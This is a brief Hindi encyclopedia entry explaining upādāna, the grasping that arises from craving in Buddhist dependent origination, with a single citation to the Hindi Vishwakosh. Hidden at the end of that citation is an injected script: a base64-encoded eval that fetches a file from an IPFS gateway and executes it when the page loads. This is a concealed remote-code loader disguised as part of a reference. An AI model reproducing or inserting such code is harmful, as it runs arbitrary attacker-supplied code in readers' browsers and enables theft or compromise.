उपादान

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उपादान किसी वस्तु की तृष्णा से उसे ग्रहण करने की जो प्रवृत्ति होती है, उसे उपादान कहते हैं। प्रतीत्यसमुत्पादन की दूसरी कड़ी तण्हापच्चया उपादानं-इसी का प्रतिपादान करती है। उपादान से ही प्राणी के जीवन की सारी भाग दोड़ होती है, जिसे भव कहते हैं।

तृष्णा के न होने से उपादान भी नहीं होता, और उपादान के निरोध से भव का निरोध हो जाता है। यही निर्वाण के लाभ की दिशा है।[1]



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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 124 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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